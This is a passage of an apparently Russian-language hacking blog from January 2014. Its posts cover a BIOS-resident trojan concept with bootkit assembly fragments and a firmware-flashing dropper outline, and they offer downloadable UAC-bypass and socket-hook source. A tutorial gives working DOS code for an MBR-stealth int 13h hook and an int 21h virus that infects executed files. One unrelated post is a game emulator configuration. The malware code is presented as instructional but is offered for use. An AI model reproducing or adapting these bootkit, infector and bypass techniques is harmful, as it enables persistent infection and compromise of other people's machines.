Общее·количество·просмотров·страницы

пятница, 31 января 2014 г.

Концепция "неизлечимости" или bios троян

О том чем грозит данный вид ПО даже не хочется говорить.Несомненно, реализация и более того,осмысленность данного ПО спорная и сложная.Как нам всем известно, биосы бывают разные, АМИ,ФЕНИКСЫ и все такое прочее(хотя по статистике больше всего конечно фениксов).Но скажу что это возможно!Более того у меня получилось разместить известный буткит-фрэймворк в виртуальном биосе vmware!Что можно сделать на виртуалке то можно сделать и на реальной машине.Поебаться мне пришлось нехило, а т.е. немного модифицировать сей фреймворк таким вот кодесом:

mov di, 6000h
mov cx, 0fffh
add si,110000b
rep movsw 

копируемся где-то в области bios

проверяем, включены ли уже прерывания

cmp byte [19h*4],0

если все ок запускаем код,который был потерт прыжком

mov bx, es  
mov fs, bx 
mov ds, ax
retf

дальше все по-дефолту
откусываем память в low bios memory

mov [ax,413h]
sub ax,6

переводим в параграфы

mov [413h],ax
shl ax,6

перехватываем прерывание и т.д. то что в фрэймворке.

когда переходим в защищенный режим,(тут я удалил все ненужное для наглядности и сделал вывод напрямую в видеобуфер)
выводим в видеобуфер посимвольно

mov     word [ds:0B8000h], 0250h

в итоге смотрим что получилось в данном видео:



Итог: конечно, возможность заразы была всегда, вспомним тот же cih. Однако, реализовывать это для полномасштабного проекта во-первых глупо,во-вторых очень тяжело(правильно поставить вперед;))

Хотя я видел одну интересную штуку:
В дропере идет драйвер устройства bios, драйвер руткит(прошивка ,полагаю возможна стандартными утилитами,а их надо ныкать это естественно), зараженный модуль( допустим такой какой я сделал),длл-ка для контроля драйвера,и то что работает с образами bios (смотря на какой биос нацелен троян, чаще всего это phoenix award и утилита cbrom)
Некоторые ебанутые дроперы используют свою шифрованную файловую систему за пределами размеченной области жд(это?!ппц) куда и сбрасывают все что несут в себе.
Потом читается bios и определяется его размер.Создается образ биоса на жд.Потом зараженный модуль вносится в этот образ,после чего образ жгется в МС.
Биос определяется по сигнатуре, например в фениксах в комплекте идет свой прошивальщик который и можно найти по его имени.

В общем то штука довольно опасная, тк убрать ее при наличии буткита или руткита режима ядра-не получится.

Да что еще хочу подчеркнуть, механизм буткитов которые опубликованы на мой взгляд не объективен.Во-первых та же windows 7 загружается уже вообще иначе чем ХРюха, а это уже продумывать как минимум два варианта.Надо идеально знать процесс загрузки операционной системы и все такое.Малейший сервиспак\обновление которые уничтожат сигнатуры которыми пользуется буткит,либо вообще принципиально изменят что то-он будет не рабочим.
Я читал и думал об отличном варианте.Ищется определенный exe-шник путем перебора сектора (сигнатура mz), и внедряется код в его заголовок.Почему в заголовок: да потому что в винде есть такая фишка как фрагментация и файл может быть не целым.Как варианта можно составить небольшой парсер файловой системы и таким образом наверняка внедряться в нужный файл.На этом все, я пошел пить пиво;)

Resident evil zero - эмуляция.

Отдыхай играя.Или что то вроде того.
На самом деле не являюсь сторонником задротства и онлайн игр, но иногда, от делать нефиг бывает играю.Играю в более интересные игры, не считая тупой стрельбы как quake или doom( и т.д. и т.п.),в продолжение того что захватило меня в детстве когда я имел playstation и playstation2, а на компе мощнее старкрафта ничего не шло).

В итоге прошел всю серию doom, quake, splinter cell, почти все metal gear solid, и resident evil. Это одна из моих любимейших вещей.И вот наткнулся я короче на resident evil remake- переделка первого РЕ на современный мотив и resident evil zero- которая, по-сути является приквелом первого РЕ и рассказывает всю историю с самого начала.Одна беда, это игры для gamecube,wii.
Со своим не слишком крутым железом на данный момент, почему то игра оооочень медленно шла на dolphin-e , порядком 20 кадров,а на загруженных локациях итого меньше.

Но мне удалось найти и сконфигурировать одну версию dolphin и теперь игруха идет плавно, провисания FPS незначительны и редки.Тут выложу конфигурацию.

Почитать об игре можно тут: http://ru.wikipedia.org/wiki/Resident_Evil_Zero

Мое железо:
core2quad q6600 2.4 GHz
nvidia ge force GTS 250 512mb 256 битная шина.
4gb DDR 3 1333MHz
windows 7 x64bit.

требуемые эмулятор:
dolphin 3.0-307

конфиг(разрешения видео устанавливайте на свое усмотрение):





скриншот игры
Всем приятной игры!
ps фанам RE- must have. игрушка-сила;)

пятница, 10 января 2014 г.

Праздничные плюшки!

Делюсь с вами штучками и рюшечками.

1)Обход UAC (уже известным методом,для чего думаю понятно).
2)Хук сокетов(думаю тоже понятно для чего.Вообще способов применения уйма,но учитывая тематику данного блога,дам намек что это нужно что бы не юзать школометод с hosts.инжектора ясен пень в комплекте нету)

все написано на "С" с использованием разных библиотек(но наиболее популярных), для общего развития так-сказать)

скачать сорцы тута: source

воскресенье, 5 января 2014 г.

Перехват прерываний.

Ну во-первых, всех с Новым Годом!) Как грится дивиз 2014 года- еб*сь оно все конем))
========================================================================
"Ебать мой *уй"- так было бы  логичнее всего начать мое посленовогоднее послание).Напало стооолько работы,что я не то что не успеваю писать сюда,а даже сделать видео на конкурс...отакие пироги.

Но короче собрался я с силой мысли,духа и так далее и сегодня будет пост (в котором кстати будет в большинстве своем теория)о следующем т.н. этапе буткита-перехват прерывания(основная фишка буткита,с помощью которой он контролирует процесс загрузки операционной системы), мы должный понять, что новое-это хорошо забытое старое,что программируя на ассемблере важно знать строение процессора,его работу,что ДОС- это то что учит писать и думать на асме. Стает печально иногда видеть такой код "mov ax,0ну что это?)это не красиво,не по культурному.

В общем идея заключается в том что: как говорил мой учитель-каждый программист должен за всю жизнь написать вирус и операционную систему).
Первым мы как раз и займемся. А также рассмотрим установку МСДОС на виртуальную машину,и научимся закидывать в нее все что нам надо.

Начнемс-с пожалуй.

Как мы знаем, был такой чудесный процессор 8086.  Почему говорим о нем? Да потому что режим совместимости с командами поддерживается в моделях следующих процессоров.
8086 мог работать только в режиме R-mode ( режим в котором работает ДОС).Последующие модели сохранили режим совместимости с ним, а так же появились такие режимы как V-mode, что по своей сути представляет концепцию виртуальной машины на уровне процессора.

Как работает адресация? Самая маленькая единица адресуемого блока памяти является байт. Каждый байт имеет свое положение-физический адрес. Процессор обращается к ячейке памяти через физический адрес, делает он это через адресную шину.


 (АД- ножки,отвечающие за адресацию)

Если проще что бы адресовать 2 байта процессору надо было бы иметь шину в 1 бит. 0 -1 байт и 1- второй байт. Вот что подразумевает собой разрядность шины процессора. Почему 32 разрядный процессор поддерживает до 4 гб ОЗУ,а 64 уже выше, как раз актуальный пример)



в 8086 была 20 битная шина.( вспоминаем вентиль А20

in al, 92h
or al, 02h
out 92h, al

========
in al, 92h
and al, 0FDh
out 92h, al


)
что означает что 8086 адресовал всего лишь мегабайт памяти)

ну и мы подошли к сути: какжежтак скажите пожалуйтса регистры то 16 битные, а это значит что он адресовал не мегабайт , а 64 кб.?А вот и нет.Решение-сегментная адресация. физический адрес проецируется из 2-х 16 разрядных значений, для того что бы обратиться в любое место 20 битной шины, и видится он нам как : SEGMENT:OFFSET )))

НО стой! 16 да 16 дает нам 32- как выдрать гребанные 20?)
все просто- сегментный регистр (CS,DS,SS,ES) сдвигается влево на 4 бита, и заполняет младшие 4 бита шины -нулями затем прибавляется смещение-получаем адрес.Получается границы сегментов располагаются каждые 16 байт-параграфы. 4 битами можно адресовать 16 ячеек, каждая из них содержит один байт.

итак 2^16*16 ~= 1 мбайт)

это кстати используется в boot вирусах и буткитах также.

dec word [0413h]
mov ax,[0413h]      ;(откусываем базовую память, что бы быть резидентом)

shl ax,(10-4)   ; (конвертируем в параграфы)
mov es, ax

С основами покончено.Приступим к установке ДОС.

Как известно, в ДОС нельзя подключать всякие сетевые диски и т.д. и т.п. так что единственное что остается для работы со своими программами это скачать образ ISO DOS.

открываем его в программе ultraiso и перекидываем туда папочку с необходимыми нам программами, сохраняем. Теперь установка.










запускаем на дискете fdisk- создаем партицию.
после создания форматируем format C:/S


после того как форматировали , копируем необходимые файлы:

C:
md doss
copy A:\*.* .\doss
copy  A:\cd1.sys
copy A:\autoexec.bat
copy A:\himem.sys
copy A:\config.sys

copy R:\example C:\

все,готово.Устанавливаем загрузку с харда.







Приступаем к написанию кода.

Я создам несколько программ для разных методов перехвата.

есть 2 метода:

1)через прерывания ДОС
2)прямой манипуляцией таблицей векторов прерываний.

Начнем со второго, код слегка сложен, но в целом понятен. Данная программа будет выполнять функцию «стэлс» (как загрузочные вирусы-только резидент).Она не приносит никакого вреда,а лишь показывает основные аспекты перехвата прерываний взаимодействием с таблицей векторов прерываний. При попытке прочесть mbr- будет подставляться другой сектор.

Сначала код, потом комментирование кода.

.model tiny
 .code
 .startup

 jmp start
myint13:

 cmp ah,2 
 jne origint13h
 cmp cx,1
 jne origint13h

 mov ah,2
 mov al,1
 mov cx,4
 mov dx,80
 jmp origint13h

origint13h:
 jmp cs:dword ptr orig13h

orig13h dw ?

start:
     xor  ax,ax
     mov ds,ax
     mov ax,offset myint13
     cli
     xchg word ptr ds:[13h*4],ax
     mov word ptr cs:[orig13h],ax
     mov ax,cs
     xchg word ptr ds:[13h*4+2],ax
     mov word ptr cs:[orig13h+2],ax
     sti
     push cs
     pop ds


 lea   dx, start
 int 27h

; mov ax, 4c00h
 ;int 21h
end

итак: прыгаем на инициализацию кода.Попадаем сразу же на start.
ax=ds=0  т.к. IVT (interrupt vector table - таблица векторов прерываний) находится по адресу 0000:0000. (состоит из 256 элементов,к сведению). Далее в ax указывается т.н. ISR- interrupt service routine - то, куда будет перекидываться прерывание, при условии что будут выполняться определенные условия (тавтология)).Иначе говоря как и в перехвате в windows- обработчик. Затем, в целях безопасности, сбрасываем флаг IF и запрещаем прерываться.  Далее уже просто- номер нашего прерывания (13- работа с дисковым в\в) надо помножить на 4, (т.к. в реальном режиме работы процессора один элемент таблицы векторов прерываний это 32 битный адрес обработчика),и получить дескриптор к ISR ,сначала в сегменте, потом в оффсете. после чего снова запускаем прерывания с уже измененным обработчиком. и устанавливаем резидент(т.е. основная часть завершается, а обработчик «вешается» в память через int 27h). обработчик вообще элементарен:

проверяем, читают ли сектора- если нет, отдаем управление оригинальному обработчику
проверяем, это mbr- если нет, отдаем управление оригинальному обработчику.

если читают mbr - мы читаем свой сектор и возвращаем его.Вот в принципе и все.

напишем простой листинг для чтения mbr.

.model tiny
.code
org 100h

start:

mov cx,1
;mov dx,80h
mov ax,0201h
int 13h

push bx


xor cx,cx
lea dx, FileName
mov ah, 3ch
int 21h

pop bx
xchg dx,bx
xor bx,bx

xchg bx, ax

mov cx, 512
mov ah, 40h
int 21h
mov ah, 3eh
int 21h

ret

.data
FileName db '1.txt',0
end start


смотрим как это работает.










видим подмену сектора)))


Переходим к пункту 1)-установка перехвата с помощью прерывания ДОС

Код схож, но более минималистичен, за счет чего проще понимается.

Код-потом комментирование.

.model tiny
.code
 org   100h

start:

          mov ah,35h
          mov al,21h
          int 21h
          mov  word ptr [int21],bx
          mov  word ptr [int21+02h],es

          mov     ah,25h
          mov     dx,offset virii
          int     21h

          xchg    ax,dx
          int     27h

virii  proc
          cmp     ah,4bh
          jne     int21_exit

          mov     ax,3d02h
          int     21h
          xchg    ax,bx

          push    cs
          pop     ds

          mov     ah,40h
          mov     cx,(start-endd)
          mov     dx,offset start
int21_exit:
db       0eah

endd:
int21   dd ?

endp
.data
virnamefuckyou  db      '6EQUJ5_WOW!'
end  start

тут все в разы проще.

с помощью ah,35h и al- номер прерывания перехвата устанавливаем обработчик прерывания, тут и комментировать нечего.
в обработчике просто- перехватываем функцию exec 4bh- если открыли- записываем свой код в файл.

маленький-да удаленький как говорится.

скриншоты до запуска и после:

файл victim.com состоит только из инструкции ret и не делает абсолютно ничего.его размер до запуска составляет 1байт.

размер изменился)



а теперь главное,что мне удалось добиться используя фрэймворк одного буткита:


  
Вот и сказочке конец, а кто слушал- молодец и очень психически стойкий человек)))


на последок как обычно чуть фото,я теперь возьму это в традицию)

группа КиШ

 Вы любите ночь?



То,что пропускает мир через призму иллюзий)
 рабочее место)